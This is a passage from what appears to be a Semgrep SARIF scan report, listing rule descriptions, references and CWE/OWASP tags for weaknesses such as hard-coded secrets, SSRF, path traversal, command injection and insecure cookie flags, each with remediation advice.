Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","id":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","name":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"help":{"markdown":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet](https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet)\n","text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","id":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","name":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/arkadiyt/ssrf_filter](https://github.com/arkadiyt/ssrf_filter)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host","id":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","name":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","id":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","name":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","id":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","name":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"help":{"markdown":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes","id":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","name":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.no-verify.verify-biometric-changes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","id":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","name":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs","id":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","name":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false","id":"java.micronaut.audit.cookies.secure-false.secure-false","name":"java.micronaut.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","id":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","name":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false","id":"java.micronaut.audit.cookies.httponly-false.httponly-false","name":"java.micronaut.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","id":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","name":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"help":{"markdown":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked](https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked)\n","text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","id":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","name":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"help":{"markdown":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"helpUri":"https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","id":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","name":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule has been deprecated."},"help":{"markdown":"This rule has been deprecated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"This rule has been deprecated."},"helpUri":"https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint","id":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","name":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.ssrf.http-ssrf-taint.http-ssrf-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n","text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","id":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","name":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep 